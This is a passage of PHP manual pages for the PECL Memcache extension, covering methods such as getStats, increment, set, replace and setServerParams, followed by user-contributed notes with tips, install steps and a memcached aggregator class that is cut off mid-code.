It merely returns the server status from the pool, which defaults to TRUE when using addServer( ) with only required arguments.

Try it - stop your memcached and run the sample code above - it will output 1.


Get statistics of the server

  • « Memcache::getServerStatus
  • Memcache::getVersion »
  • PHP Manual
  • Memcache
  • Get statistics of the server

Memcache::getStats

(PECL memcache >= 0.2.0)

Memcache::getStats — Get statistics of the server

Description

array Memcache::getStats ([ string $type [, int $slabid [, int $limit = 100 ]]] )

Memcache::getStats() returns an associative array with server's statistics. Array keys correspond to stats parameters and values to parameter's values. Also you can use memcache_get_stats() function.

Parameters

type

The type of statistics to fetch. Valid values are {reset, malloc, maps, cachedump, slabs, items, sizes}. According to the memcached protocol spec these additional arguments "are subject to change for the convenience of memcache developers".

slabid

Used in conjunction with type set to cachedump to identify the slab to dump from. The cachedump command ties up the server and is strictly to be used for debugging purposes.

limit

Used in conjunction with type set to cachedump to limit the number of entries to dump.

Return Values

Returns an associative array of server statistics or FALSE on failure.

See Also

  • Memcache::getVersion() - Return version of the server
  • Memcache::getExtendedStats() - Get statistics from all servers in pool

User Contributed Notes

Amiangshu S. Bosu 16-Mar-2009 12:58
Here is a memcache stats analyzer method that can be used to print memcache stats in a nice informative tabular format.

<?php

function printDetails($status){

echo "<table border='1'>";

        echo "<tr><td>Memcache Server version:</td><td> ".$status ["version"]."</td></tr>";
        echo "<tr><td>Process id of this server process </td><td>".$status ["pid"]."</td></tr>";
        echo "<tr><td>Number of seconds this server has been running </td><td>".$status ["uptime"]."</td></tr>";
        echo "<tr><td>Accumulated user time for this process </td><td>".$status ["rusage_user"]." seconds</td></tr>";
        echo "<tr><td>Accumulated system time for this process </td><td>".$status ["rusage_system"]." seconds</td></tr>";
        echo "<tr><td>Total number of items stored by this server ever since it started </td><td>".$status ["total_items"]."</td></tr>";
        echo "<tr><td>Number of open connections </td><td>".$status ["curr_connections"]."</td></tr>";
        echo "<tr><td>Total number of connections opened since the server started running </td><td>".$status ["total_connections"]."</td></tr>";
        echo "<tr><td>Number of connection structures allocated by the server </td><td>".$status ["connection_structures"]."</td></tr>";
        echo "<tr><td>Cumulative number of retrieval requests </td><td>".$status ["cmd_get"]."</td></tr>";
        echo "<tr><td> Cumulative number of storage requests </td><td>".$status ["cmd_set"]."</td></tr>";

        $percCacheHit=((real)$status ["get_hits"]/ (real)$status ["cmd_get"] *100);
        $percCacheHit=round($percCacheHit,3);
        $percCacheMiss=100-$percCacheHit;

        echo "<tr><td>Number of keys that have been requested and found present </td><td>".$status ["get_hits"]." ($percCacheHit%)</td></tr>";
        echo "<tr><td>Number of items that have been requested and not found </td><td>".$status ["get_misses"]."($percCacheMiss%)</td></tr>";

        $MBRead= (real)$status["bytes_read"]/(1024*1024);

        echo "<tr><td>Total number of bytes read by this server from network </td><td>".$MBRead." Mega Bytes</td></tr>";
        $MBWrite=(real) $status["bytes_written"]/(1024*1024) ;
        echo "<tr><td>Total number of bytes sent by this server to network </td><td>".$MBWrite." Mega Bytes</td></tr>";
        $MBSize=(real) $status["limit_maxbytes"]/(1024*1024) ;
        echo "<tr><td>Number of bytes this server is allowed to use for storage.</td><td>".$MBSize." Mega Bytes</td></tr>";
        echo "<tr><td>Number of valid items removed from cache to free memory for new items.</td><td>".$status ["evictions"]."</td></tr>";

echo "</table>";

    }

?>

Sample usage:
<?php

  $memcache_obj = new Memcache;
  $memcache_obj->addServer('memcache_host', 11211);
   printDetails($memcache_obj->getStats());
?>
24-Oct-2006 04:09
The stats output from this function and what is output from the getExtendedStats() are identical except that getExtendedStats() provides information for all servers used.
mikael at synd dot info 18-Sep-2006 09:22
pid                        Process id of this server process
uptime                    Number of seconds this server has been running
time                    Current UNIX time according to the server
version                    Version string of this server
rusage_user                Accumulated user time for this process
rusage_system            Accumulated system time for this process
curr_items                Current number of items stored by the server
total_items                Total number of items stored by this server ever since it started
bytes                    Current number of bytes used by this server to store items
curr_connections        Number of open connections
total_connections        Total number of connections opened since the server started running
connection_structures    Number of connection structures allocated by the server
cmd_get                    Cumulative number of retrieval requests
cmd_set                    Cumulative number of storage requests
get_hits                Number of keys that have been requested and found present
get_misses                Number of items that have been requested and not found
bytes_read                Total number of bytes read by this server from network
bytes_written            Total number of bytes sent by this server to network
limit_maxbytes            Number of bytes this server is allowed to use for storage.


Return version of the server

  • « Memcache::getStats
  • Memcache::increment »
  • PHP Manual
  • Memcache
  • Return version of the server

Memcache::getVersion

(PECL memcache >= 0.2.0)

Memcache::getVersion — Return version of the server

Description

string Memcache::getVersion ( void )

Memcache::getVersion() returns a string with server's version number. Also you can use memcache_get_version() function.

Return Values

Returns a string of server version number or FALSE on failure.

Examples

Example #1 Memcache::getVersion() example

<?php

/* OO API */
$memcache = new Memcache;
$memcache->connect('memcache_host', 11211);
echo $memcache->getVersion();

/* procedural API */
$memcache = memcache_connect('memcache_host', 11211);
echo memcache_get_version($memcache);

?>

See Also

  • Memcache::getExtendedStats() - Get statistics from all servers in pool
  • Memcache::getStats() - Get statistics of the server

User Contributed Notes

b dot willemsen8 at gmail dot com 26-Aug-2014 10:16
I also use this method to verify that Memcache is properly configured on the server since it returns false if there is something wrong. So you can do something like this:

<?php
$memcache = new Memcache;

if ($memcache->getVersion() === false) {
    throw new Exception('Please, verify the Memcache configuration');
}


Increment item's value

  • « Memcache::getVersion
  • Memcache::pconnect »
  • PHP Manual
  • Memcache
  • Increment item's value

Memcache::increment

(PECL memcache >= 0.2.0)

Memcache::increment — Increment item's value

Description

int Memcache::increment ( string $key [, int $value = 1 ] )

Memcache::increment() increments value of an item by the specified value. If item specified by key was not numeric and cannot be converted to a number, it will change its value to value. Memcache::increment() does not create an item if it doesn't already exist.

Note:

Do not use Memcache::increment() with items that have been stored compressed because subsequent calls to Memcache::get() will fail.

Also you can use memcache_increment() function.

Parameters

key

Key of the item to increment.

value

Increment the item by value.

Return Values

Returns new items value on success or FALSE on failure.

Examples

Example #1 Memcache::increment() example

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/* increment counter by 2 */
$current_value = memcache_increment($memcache_obj, 'counter', 2);

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/* increment counter by 3 */
$current_value = $memcache_obj->increment('counter', 3);

?>

See Also

  • Memcache::decrement() - Decrement item's value
  • Memcache::replace() - Replace value of the existing item

User Contributed Notes

perroazul64 at gmail dot com 07-Jun-2011 07:46
When the key doesn't exist it may return either bool(false) or int(0) (I get different return values on different servers), so be careful if you check for something like ($memcache->increment($key) === false).
ian at blip dot fm 01-Jul-2009 01:28
Be careful to use Memcache::decrement() and never Memcache::increment() with a negative value.

The check that prevents Memcache::decrement() from going negative is not in place with Memcache::increment(), so you can end up with a garbage integer on the order of 18 quintillion stored in place of the expected value.
jay dot paroline at escapemg dot com 13-May-2009 03:34
Instead of checking the value before incrementing, you can simply ADD it instead before incrementing each time. If it's already there, your ADD is ignored, and if it's not there, it's set.

If you add($memcacheKey, 0) and then increment($memcacheKey, 1) in that order, you avoid all possible race conditions. If two threads are running this code concurrently, you will always end up with your value being 2 no matter which order the threads execute in.
Anonymous 13-May-2009 03:16
Please note:
If the key does not exist, memcache does NOT return false (as you might expect) but 0.
You won't get any hint that the key did not exist and still does not exist and that nothing was incremented.
15-Jun-2005 09:54
if no variable exists, even if you specify an increment value, the result will be null.

if you're using this for a mutex, chk if its null, and if so, then ADD the variable.


Open memcached server persistent connection

  • « Memcache::increment
  • Memcache::replace »
  • PHP Manual
  • Memcache
  • Open memcached server persistent connection

Memcache::pconnect

(PECL memcache >= 0.4.0)

Memcache::pconnect — Open memcached server persistent connection

Description

mixed Memcache::pconnect ( string $host [, int $port [, int $timeout ]] )

Memcache::pconnect() is similar to Memcache::connect() with the difference, that the connection it establishes is persistent. This connection is not closed after the end of script execution and by Memcache::close() function. Also you can use memcache_pconnect() function.

Parameters

host

Point to the host where memcached is listening for connections. This parameter may also specify other transports like unix:///path/to/memcached.sock to use UNIX domain sockets, in this case port must also be set to 0.

port

Point to the port where memcached is listening for connections. Set this parameter to 0 when using UNIX domain sockets.

timeout

Value in seconds which will be used for connecting to the daemon. Think twice before changing the default value of 1 second - you can lose all the advantages of caching if your connection is too slow.

Return Values

Returns a Memcache object or FALSE on failure.

Examples

Example #1 Memcache::pconnect() example

<?php

/* procedural API */
$memcache_obj = memcache_pconnect('memcache_host', 11211);

/* OO API */

$memcache_obj = new Memcache;
$memcache_obj->pconnect('memcache_host', 11211);

?>

See Also

  • Memcache::connect() - Open memcached server connection

User Contributed Notes

office at cws-trummer dot biz 20-Mar-2009 11:17
use persistent connection if you have problems with system process 0 WAIT_TIME


Replace value of the existing item

  • « Memcache::pconnect
  • Memcache::set »
  • PHP Manual
  • Memcache
  • Replace value of the existing item

Memcache::replace

(PECL memcache >= 0.2.0)

Memcache::replace — Replace value of the existing item

Description

bool Memcache::replace ( string $key , mixed $var [, int $flag [, int $expire ]] )

Memcache::replace() should be used to replace value of
existing item with key. In case if item with such
key doesn't exists, Memcache::replace() returns
FALSE. For the rest Memcache::replace() behaves
similarly to Memcache::set().
Also you can use memcache_replace() function.

Parameters

key

The key that will be associated with the item.

var

The variable to store. Strings and integers are stored as is, other types are stored serialized.

flag

Use MEMCACHE_COMPRESSED to store the item compressed (uses zlib).

expire

Expiration time of the item. If it's equal to zero, the item will never expire. You can also use Unix timestamp or a number of seconds starting from current time, but in the latter case the number of seconds may not exceed 2592000 (30 days).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::replace() example

<?php

$memcache_obj = memcache_connect('memcache_host', 11211);

/* procedural API */
memcache_replace($memcache_obj, "test_key", "some variable", false, 30);

/* OO API */
$memcache_obj->replace("test_key", "some variable", false, 30);

?>

See Also

  • Memcache::set() - Store data at the server
  • Memcache::add() - Add an item to the server

User Contributed Notes

adam.pippin [AT] ohmedia.ca 21-Sep-2010 12:57
This page mentions that replace should be used rather than set, but gives no reason. Best information I could find was a comment by 'argyleblanket' on the set page. (http://www.php.net/manual/en/memcache.set.php#84032)

"Using set more than once for the same key seems to have unexpected results - it does not behave as a "replace," but instead seems to "set" more than one value for the same key.  "get" may return any of the values.

This was tested on a multiple-server setup - behaviour may be different if you only have one server. "


Store data at the server

  • « Memcache::replace
  • Memcache::setCompressThreshold »
  • PHP Manual
  • Memcache
  • Store data at the server

Memcache::set

(PECL memcache >= 0.2.0)

Memcache::set — Store data at the server

Description

bool Memcache::set ( string $key , mixed $var [, int $flag [, int $expire ]] )

Memcache::set() stores an item var with key on the memcached server. Parameter expire is expiration time in seconds. If it's 0, the item never expires (but memcached server doesn't guarantee this item to be stored all the time, it could be deleted from the cache to make place for other items). You can use MEMCACHE_COMPRESSED constant as flag value if you want to use on-the-fly compression (uses zlib).

Note:

Remember that resource variables (i.e. file and connection descriptors) cannot be stored in the cache, because they cannot be adequately represented in serialized state.

Also you can use memcache_set() function.

Parameters

key

The key that will be associated with the item.

var

The variable to store. Strings and integers are stored as is, other types are stored serialized.

flag

Use MEMCACHE_COMPRESSED to store the item compressed (uses zlib).

expire

Expiration time of the item. If it's equal to zero, the item will never expire. You can also use Unix timestamp or a number of seconds starting from current time, but in the latter case the number of seconds may not exceed 2592000 (30 days).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::set() example

<?php
/* procedural API */

/* connect to memcached server */
$memcache_obj = memcache_connect('memcache_host', 11211);

/*
set value of item with key 'var_key'
using 0 as flag value, compression is not used
expire time is 30 seconds
*/
memcache_set($memcache_obj, 'var_key', 'some variable', 0, 30);

echo memcache_get($memcache_obj, 'var_key');

?>

Example #2 Memcache::set() example

<?php
/* OO API */

$memcache_obj = new Memcache;

/* connect to memcached server */
$memcache_obj->connect('memcache_host', 11211);

/*
set value of item with key 'var_key', using on-the-fly compression
expire time is 50 seconds
*/
$memcache_obj->set('var_key', 'some really big variable', MEMCACHE_COMPRESSED, 50);

echo $memcache_obj->get('var_key');

?>

See Also

  • Memcache::add() - Add an item to the server
  • Memcache::replace() - Replace value of the existing item

User Contributed Notes

aamthor at advertzoom dot de 29-Aug-2012 05:27
to put some things right:

max expiration time: RTFM, it's written here.

max amount of data: almost unlimited as long as your server can bear it.

speed and pace:
well, thats another thing. We had a couple of data records which for application reasons must be kept in memory. Since the bunch of data is big and doesn't change very often, we considered caching it to memcache instead of retrieving it from the DB each and every time.

This isn't a general advice nor any quality statement, but we did a couple of tests with serialized arrays (50 MB), compressed and uncompressed and it turned out that in our particular scenario, memcache is much slower than the DB (mySql).

In general, one can not predict on the behavior of memcache in certain scenarios but always need to make some testing and benchmarking upfront before starting to deploy things to a live system.

Despite of the tests above, we are still using memcache for session caching instead of file system, since there are certain other things to consider and the amount of data is always small (few KB)
wbonde at yakabod dot com 21-Jan-2011 09:27
The max time for expiration (without having to worry about deletions when necessary as with 0 seconds) is 2,592,000 seconds (30 days).

Specifying an expiration value above that will return false, but will NOT throw in error so it is easy to miss.
duerra at nospam dot yahoo dot com 18-Nov-2010 01:04
If you're interested in using compression, please note that, at least for PHP version 5.3.2 and Memcache version 3.0.4, when retrieving a key who's value is a numeric or boolean type, PHP throws a notice of the following:

Message: MemcachePool::get(): Failed to uncompress data

The way around this is to test your variable type before setting or adding it to Memcache, or even cast it as a string.

<?php
$key = 'mc_key';
$value = 12345;
$compress = is_bool($value) || is_int($value) || is_float($value) ? false : MEMCACHE_COMPRESSED;

$mc= new Memcache;
$mc->connect('localhost', 11211);
$mc->set($key, $value, $compress);

echo $mc->get($key);

//Alternative is to cast the variable
$value = is_scalar($value) ? (string)$value : $value;
$mc->set($key, $value, MEMCACHE_COMPRESSED);
?>
effeesse gmail com 23-Apr-2010 10:06
if you want to cache an image created on-the-fly you can do:

<?php
ob_start();
imagepng($image);
$memcache->set("my_image", ob_get_contents(), false, $cache_time);
ob_end_clean();
?>

then you could access the chached image as simple variable:
<?php $my_image = $memcache->get("my_image"); ?>

so, in short, you have to buffer the output
argyleblanket 25-Jun-2008 02:12
Using set more than once for the same key seems to have unexpected results - it does not behave as a "replace," but instead seems to "set" more than one value for the same key.  "get" may return any of the values.

This was tested on a multiple-server setup - behaviour may be different if you only have one server.

Remedy is to use a combination of replace and set:

<?php
$result = $memcache->replace( $key, $var );
if( $result == false )
{
    $result = $memcache->set( $key, $var );
}
?>
jakub dot lopuszanski at nasza-klasa dot pl 14-Apr-2008 04:45
The lowest byte of the int is reserved for pecl/memcache internal usage (e.g. to indicate compression and serialization status).
Stephen from veedow.com 09-Apr-2008 04:07
I ran into problems using the MEMCACHE_COMPRESSED flag when storing small amounts of data, such as an integers.

For expample.

<?php
Memcache::set('integer', 123456, MEMCACHE_COMPRESSED);
//would return true

Memcache::get('integer');
//would return false
?>

This problem went away when I removed the MEMCACHE_COMPRESSED flag for values that were small.
Sc00bz 19-Jul-2007 10:20
This is just two minor things about memcache that might not be perfectly clear, the limits on key and data sizes and what happen to flags in the memcache protocol.

* There is a max key size of 250 anything bigger gets truncated. There is also a (1MB - 42 bytes) limit on the data.

* In the memcache protocol there is a 16bit, 32bit in newer version, flag that you can set to whatever you want because memcache doesn't do anything with the flags. The php api doesn't let you get the flags because php uses the flags for php's own use such as "MEMCACHE_COMPRESSED" and I decided to test if it was doing something because it wasn't part of the memcache protocol.

<?php
$memcache = new Memcache();
$memcache->connect("127.0.0.1", 11211);

// Since memcache truncates the keys at 250 bytes both the get "250 a's" and "251 a's" will find the key in the cache
echo "*** Truncate key test ***<br>";
echo "set 251: " . ($memcache->set(str_repeat("a", 251), "value", 0, 1) ? "t" : "f") . "<br>";

echo "get 249: " . (($ret = $memcache->get(str_repeat("a", 249))) !== false ? "'$ret'" : "f") . "<br>";
echo "get 250: " . (($ret = $memcache->get(str_repeat("a", 250))) !== false ? "'$ret'" : "f") . "<br>";
echo "get 251: " . (($ret = $memcache->get(str_repeat("a", 251))) !== false ? "'$ret'" : "f") . "<br>";
echo "delete: " . ($memcache->delete(str_repeat("a", 250)) ? "t" : "f") . "<br><br>";

echo "*** Compress value test ***<br>";
echo "set 1024*1024-42: " . ($memcache->set("test", str_repeat("a", 1024*1024-42), 0, 1) ? "t" : "f") . "<br>";
echo "set 1024*1024-41: " . ($memcache->set("test", str_repeat("a", 1024*1024-41), 0, 1) ? "t" : "f") . "<br>";
echo "set 1024*1024 compressed: " . ($memcache->set("test", str_repeat("a", 1024*1024), MEMCACHE_COMPRESSED, 1) ? "t" : "f") . "<br>";
echo "delete: " . ($memcache->delete("test") ? "t" : "f") . "<br>";
$memcache->close();
?>

Output:
*** Truncate key test ***
set 251: t
get 249: f
get 250: 'value'
get 251: 'value'
delete: t

*** Compress value test ***
set 1024*1024-42: t
set 1024*1024-41: f
set 1024*1024 compressed: t
delete: t


Enable automatic compression of large values

  • « Memcache::set
  • Memcache::setServerParams »
  • PHP Manual
  • Memcache
  • Enable automatic compression of large values

Memcache::setCompressThreshold

(PECL memcache >= 2.0.0)

Memcache::setCompressThreshold — Enable automatic compression of large values

Description

bool Memcache::setCompressThreshold ( int $threshold [, float $min_savings ] )

Memcache::setCompressThreshold() enables automatic compression of large values. You can also use the memcache_set_compress_threshold() function.

Note:

This function has been added to Memcache version 2.0.0.

Parameters

threshold

Controls the minimum value length before attempting to compress automatically.

min_saving

Specifies the minimum amount of savings to actually store the value compressed. The supplied value must be between 0 and 1. Default value is 0.2 giving a minimum 20% compression savings.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::setCompressThreshold() example

<?php

/* OO API */

$memcache_obj = new Memcache;
$memcache_obj->addServer('memcache_host', 11211);
$memcache_obj->setCompressThreshold(20000, 0.2);

/* procedural API */

$memcache_obj = memcache_connect('memcache_host', 11211);
memcache_set_compress_threshold($memcache_obj, 20000, 0.2);

?>

User Contributed Notes

spam at croler dot net 26-Nov-2013 12:41
The strangest thing is that you don't supply a server as parameter to setCompressThreshold(), so the value should be related to the memcache module, not the server itself. However it's required that you have added a server before you can set compress threshold.  The documentation does not specify if  the servers that are added after the call to this function will have the set value. I would test it and post, but  since it's not documented the behavior could change.
So if you want to be sure -> set the threshold every time you add a server.


Changes server parameters and status at runtime

  • « Memcache::setCompressThreshold
  • Memcache Functions »
  • PHP Manual
  • Memcache
  • Changes server parameters and status at runtime

Memcache::setServerParams

(PECL memcache >= 2.1.0)

Memcache::setServerParams — Changes server parameters and status at runtime

Description

bool Memcache::setServerParams ( string $host [, int $port = 11211 [, int $timeout [, int $retry_interval = false [, bool $status [, callable $failure_callback ]]]]] )

Memcache::setServerParams() changes server parameters at runtime. You can also use the memcache_set_server_params() function.

Note:

This function has been added to Memcache version 2.1.0.

Parameters

host

Point to the host where memcached is listening for connections.

port

Point to the port where memcached is listening for connections.

timeout

Value in seconds which will be used for connecting to the daemon. Think twice before changing the default value of 1 second - you can lose all the advantages of caching if your connection is too slow.

retry_interval

Controls how often a failed server will be retried, the default value is 15 seconds. Setting this parameter to -1 disables automatic retry. Neither this nor the persistent parameter has any effect when the extension is loaded dynamically via dl().

status

Controls if the server should be flagged as online. Setting this parameter to FALSE and retry_interval to -1 allows a failed server to be kept in the pool so as not to affect the key distribution algorithm. Requests for this server will then failover or fail immediately depending on the memcache.allow_failover setting. Default to TRUE, meaning the server should be considered online.

failure_callback

Allows the user to specify a callback function to run upon encountering an error. The callback is run before failover is attempted. The function takes two parameters, the hostname and port of the failed server.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcache::setServerParams() example

<?php

function _callback_memcache_failure($host, $port) {
    print "memcache '$host:$port' failed";
}

/* OO API */

$memcache = new Memcache;

// Add the server in offline mode
$memcache->addServer('memcache_host', 11211, false, 1, 1, -1, false);

// Bring the server back online
$memcache->setServerParams('memcache_host', 11211, 1, 15, true, '_callback_memcache_failure');

/* procedural API */

$memcache_obj = memcache_connect('memcache_host', 11211);
memcache_set_server_params($memcache_obj, 'memcache_host', 11211, 1, 15, true, '_callback_memcache_failure');

?>

See Also

  • Memcache::addServer() - Add a memcached server to connection pool
  • Memcache::getServerStatus() - Returns server status

User Contributed Notes

There are no user contributed notes for this page.


Memcache Functions

Table of Contents

  • memcache_debug — Turn debug output on/off

User Contributed Notes

dweller at devonweller dot com 18-Nov-2009 06:02
In the memcache PECL extension version 2.2.5, the delete function does not work with memcached 1.4.3.  To work around this, here is a version of the memcache PECL extension with a patch provided by harv at pringo dot com applied:

http://code.google.com/p/phpmemcachepatch/downloads/list

To install: download

http://phpmemcachepatch.googlecode.com/files/memcache-2.2.5b.tgz

and do:

pecl install memcache-2.2.5b.tgz
restlessmind at I dot gmail dot HATE dot com dot SPAM 19-Feb-2008 10:50
If you are trying install this module for PHP 5.2 under Windows but it won't load on startup, make sure you have all your dependencies including the correct thread-safety build of PHP.

For hours I tried to track down why I couldn't load php_memcache.dll, and finally used Dependency Walker (from http://www.dependencywalker.com) on the .dll file.  This made me realize that while I was using the version of PHP 5.2.5 that was non-thread safe, the .dll offered by pecl4win was expecting the thread safe version of PHP.  Once I rectified this, everything worked fine.
contact at codeassembly dot com 30-Jan-2008 03:28
Note that there is no way to have your own hashing mechanism, the best way to group a set of objects to a server is to manually select the server to use.

I want to keep all objects for a certain user on the same server.

user_54_description
user_54_info
user_54_comments
user_54_etc
.
.

If I have all these objects on the same server I can get all data with only one call to memcache -> get (get_multi), so this improves performance a lot.

The way I do this is by hashing the User/Object id to to the number of servers.

<?php
$memcache_hosts = array
(
'192.168.1.1',
'192.168.1.2',
'192.168.1.3',
'192.168.1.4',
'192.168.1.5',
);

$server = $id % count($memcache_hosts);

$memcache = new Memcache;
$memcache->connect($memcache_hosts[$server], 11211);

//get or set your objects here
?>

You can leave other objects that you don't want to group to memcache extension to hash and select the appropiate server.
mogmios at gmail dot com 01-Oct-2007 06:03
When installing the memcache module for Apache/PHP with a non-standard location it seems like there is no way to define the location when configuring for build. You'll get an error complaining about being unable to find php_session.h. I modified configure to try the PREFIX location too and that seems to have worked fine.

    if test -f "${prefix}/include/php/ext/session/php_session.h"; then
      session_inc_path="${prefix}/include/php"
    elif test -f "$abs_srcdir/include/php/ext/session/php_session.h"; then
      session_inc_path="$abs_srcdir/include/php"
    elif test -f "$abs_srcdir/ext/session/php_session.h"; then
      session_inc_path="$abs_srcdir"
    elif test -f "$phpincludedir/ext/session/php_session.h"; then
      session_inc_path="$phpincludedir"
    fi
Colin Guthrie 23-Aug-2007 11:57
I have noticed a bug/documentation error:

The above docs say the following about the session.save_path arguement:
"Each url may contain parameters which are applied to that server, they are the same as for the Memcache::addServer() method. "

addServer method's docs say:
"port

    Point to the port where memcached is listening for connections. This parameter is optional and its default value is 11211. Set this parameter to 0 when using UNIX domain sockets. "

However when specifying the save_path, I have found that with PHP 5.2.3 and memcache 2.1.2 that the port is a *required* part of the string.

Hope that helps some people scratching their heads.
markfrawley at gmail dot com 26-Jun-2007 10:10
Here is a PHP4 backport of the above MemcacheAggregator class:

<?php
class MemcachedAggregator {
    var $connections;
    var $_servers;

    function MemcachedAggregator($servers) {
        $this->_servers = $servers;
        // Attempt to establish/retrieve persistent connections to all servers.
        // If any of them fail, they just don't get put into our list of active
        // connections.
        $this->connections = array();
        for ($i = 0, $n = count($servers); $i < $n; $i++) {
            $server = $servers[$i];
            $con = memcache_connect($server['host']);
            //memcache_debug(1);
            //$memcache = &new Memcache;
            //$con = $memcache->connect($server['host']);
            if (!($con == false)) {
                $this->connections[] = &$con;
            }

        }
    }

    function _getConForKey($key) {
        $hashCode = 0;
        for ($i = 0, $len = strlen($key); $i < $len; $i++) {
            $hashCode = (int)(($hashCode*33)+ord($key[$i])) & 0x7fffffff;
        }
        if (($ns = count($this->connections)) > 0) {
            return $this->connections[$hashCode%$ns];
            //return $this->connections[0];
        }
        return false;
    }

    function debug($on_off) {
        $result = false;
        for ($i = 0; $i < count($this->connections); $i++) {
            if ($this->connections[$i]->debug($on_off)) $result = true;
        }
        return $result;
    }

    function flush() {
        $result = false;
        for ($i = 0; $i < count($this->connections); $i++) {
            if ($this->connections[$i]->flush()) $result = true;
        }
        return $result;
    }

    /// The following are not implemented:
    ///getStats()
    ///getVersion()

    function get($key) {
        if (is_array($key)) {
            $dest = array();
            foreach ($key as $subkey) {
            $val = get($subkey);
            if (!($val === false)) $dest[$subkey] = $val;
            }
            return $dest;
        } else {
            $conn = &$this->_getConForKey($key);
            return $conn->get($key);
        }
    }

    function set($key, $var, $compress=0, $expire=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->set($key, $var, $compress, $expire);
    }

    function add($key, $var, $compress=0, $expire=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->add($key, $var, $compress, $expire);
    }

    function replace($key, $var, $compress=0, $expire=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->replace($key, $var, $compress, $expire);
    }

    function delete($key, $timeout=0) {
        $conn = &$this->_getConForKey($key);
        return $conn->delete($key, $timeout);
    }

    function increment($key, $value=1) {
        $conn = &$this->_getConForKey($key);
        return $conn->increment($key, $value);
    }

    function decrement($key, $value=1) {
        $conn = &$this->_getConForKey($key);
        return $conn->decrement($key, $value);
    }

    function showStats($server=null) {
        $stats_out = '';
        if($server == null) {
            $i=0;
            foreach($this->connections as $conn) {
                $server = $this->_servers[$i];
                $stats_array = memcache_get_stats($conn);
                $stats_out .= "</br><b>Server: ".$server['host'].": </b><br/>";
                foreach($stats_array as $key => $val) {
                    $stats_out .= "$key => $val <br/>";
                }
                $i++;
            }
        }
        return $stats_out;
    }
}
?>
moazzamk at gmail dot com 19-May-2007 12:25
You can't call parent::__construct() in the constructor of your class if you are extending the memcache class. However, not running the constructor still initiates it and works fine.

<?php

// wrong

class a extends Memcache {
  function __construct($host, $port)
  {
    parent::__construct();
    $this->connect($host, $port);
  }

//correct
class a extends Memcache {
  function __construct($host, $port)
  {
    parent::__construct();
    $this->connect($host, $port);
  }

?>

I am guessing this applies to all native/PECL classes.
gil at squidoo dot com 10-Apr-2007 11:45
There is a tiny bug in the Aggregator class when using the flush() function. The reference to $connections should be $this->connections.

Change:

public function flush() {
  $result = false;
  for ($i = 0; $i < count($connections); $i++) {
    if ($this->connections[$i]->flush()) {
      $result = true;
    }
  }
  return $result;
}

To:

public function flush() {
  $result = false;
  for ($i = 0; $i < count($this->connections); $i++) {
    if ($this->connections[$i]->flush()) {
      $result = true;
    }
  }
  return $result;
}
jcastromail at yahoo dot es 09-Jan-2007 02:28
Hi there:

For run memcached in a windows box: (tested with latest php,apache and memcache in xp sp2)

a) download the php_memcache.dll it can be found in the pecl file.

b) put the dll in the extension folder (c:/php/extension for example). You cannot miss this folder because they are filled with php*.dll files.  In some cases the extension folder used is the system32, a non-standard way to put dll but still works.

c)configure the php.ini
; i put this like the latest extension
extension=php_memcache.dll

; i'm not sure about this but don't hurts..
[Memcache]
memcache.allow_failover = 1
memcache.max_failover_attempts=20
memcache.chunk_size =8192
memcache.default_port = 11211

d)This is important, memcached works with a EXTERNAL service. This service must be downloaded and installed prior to use the memcache.  I use:  http://jehiah.cz/projects/memcached-win32/

e)Remember to install the service and to start the service memcached.exe -d install for install and run services.msc for start the memcached service (or restart the system).

f) check the firewall ports.

Finally restart the apache/iis and runs some test. At least in phpinfo must show some info about the memcache.

Final notes :The "awe" about memcache is not only can help for speed some process (or reduce the cpu use), also can be used like a global session for store a whole object also this "global session" is shared among all the users, like APPLICATION used in ASP.  So (for example) it's possible to do a user counter without needing of database or writing a file.
ed at me3inc dot com 26-Oct-2006 11:47
Re. Installing the memcache extension:

I had all kinds of troubles getting it hooked up, because in all of the instructions I read I never got the last, most important step - you must have a php.ini and have in it "extension=memcache.so."

So, the steps:
First - ./configure with --enable-memcache. This should show in your phpinfo() at the top (even though nothing of the memcache extension works yet).

Second:
either pecl install memcache
OR
download the source
tar -xzvf [thesourcetarball]
phpize
./configure
make
make install

Finally: Add extension=memcache.so to your php.ini. (If you don't have one, it should go in the root of where php is called ie., /usr/local/lib)

Call phpinfo() and you should see a memcache section.
iliya at pisem dot net 19-Jan-2006 09:35
one more "intelligent" cache aggregator:
https://svn.shadanakar.org/onPHP/ trunk/core/Cache/AggregateCache.class.php
can be used with several cache connectors - memcached, filesystem, etc.
(remove whitespace manually)
Ron 14-Sep-2005 10:19
An improvement to the above:

The above class will cause an error if all cache servers are down.  The preferred behavior is to just have a cache miss (or take no action in the case of write operations) and return false, so the app can run in non-cached mode if all cache servers are down.

To make this happen, simply change the connection usage to look something like this in each affected function.  This code is for the get() function:

        $con = $this->_getConForKey($key);
        if ($con === false) return false;
        return $con->get($key);

Similarly, the affected code in the set() function would look like this:
    $con = $this->_getConForKey($key);
    if ($con === false) return false;
    return $con->set($key, $var, $compress, $expire);

Modify each function accordingly, and if all of your cache servers are down, you can still function (although more slowly due to the 100% cache miss rate).
Ron 14-Sep-2005 07:20
Here is a simple memcached aggregator class which distributes the cache among multiple cache servers.  If a server fails, the load is redistributed automatically.  It uses persistent connections.

The constructor takes an array of arrays, with each inner array representing a server, with a 'server' (string) attribute that is the IP addres or host name of the memcached server, and a 'port' (int) attribute that is the port number on which memcached is running on the server.

All of the existing memcached API functions are implemented except getStats() and getVersion(), which are server-specific.

<?php
class MemcachedAggregator {
    var $connections;

    public function __construct($servers) {
    // Attempt to establish/retrieve persistent connections to all servers.
    // If any of them fail, they just don't get put into our list of active
    // connections.
    $this->connections = array();
    for ($i = 0, $n = count($servers); $i < $n; $i++) {
        $server = $servers[$i];
        $con = memcache_pconnect($server['host'], $server['port']);
        if (!($con == false)) {
        $this->connections[] = $con;
        }
    }
    }

    private function _getConForKey($key) {
    $hashCode = 0;
    for ($i = 0, $len = strlen($key); $i < $len; $i++) {
        $hashCode = (int)(($hashCode*33)+ord($key[$i])) & 0x7fffffff;
    }
    if (($ns = count($this->connections)) > 0) {
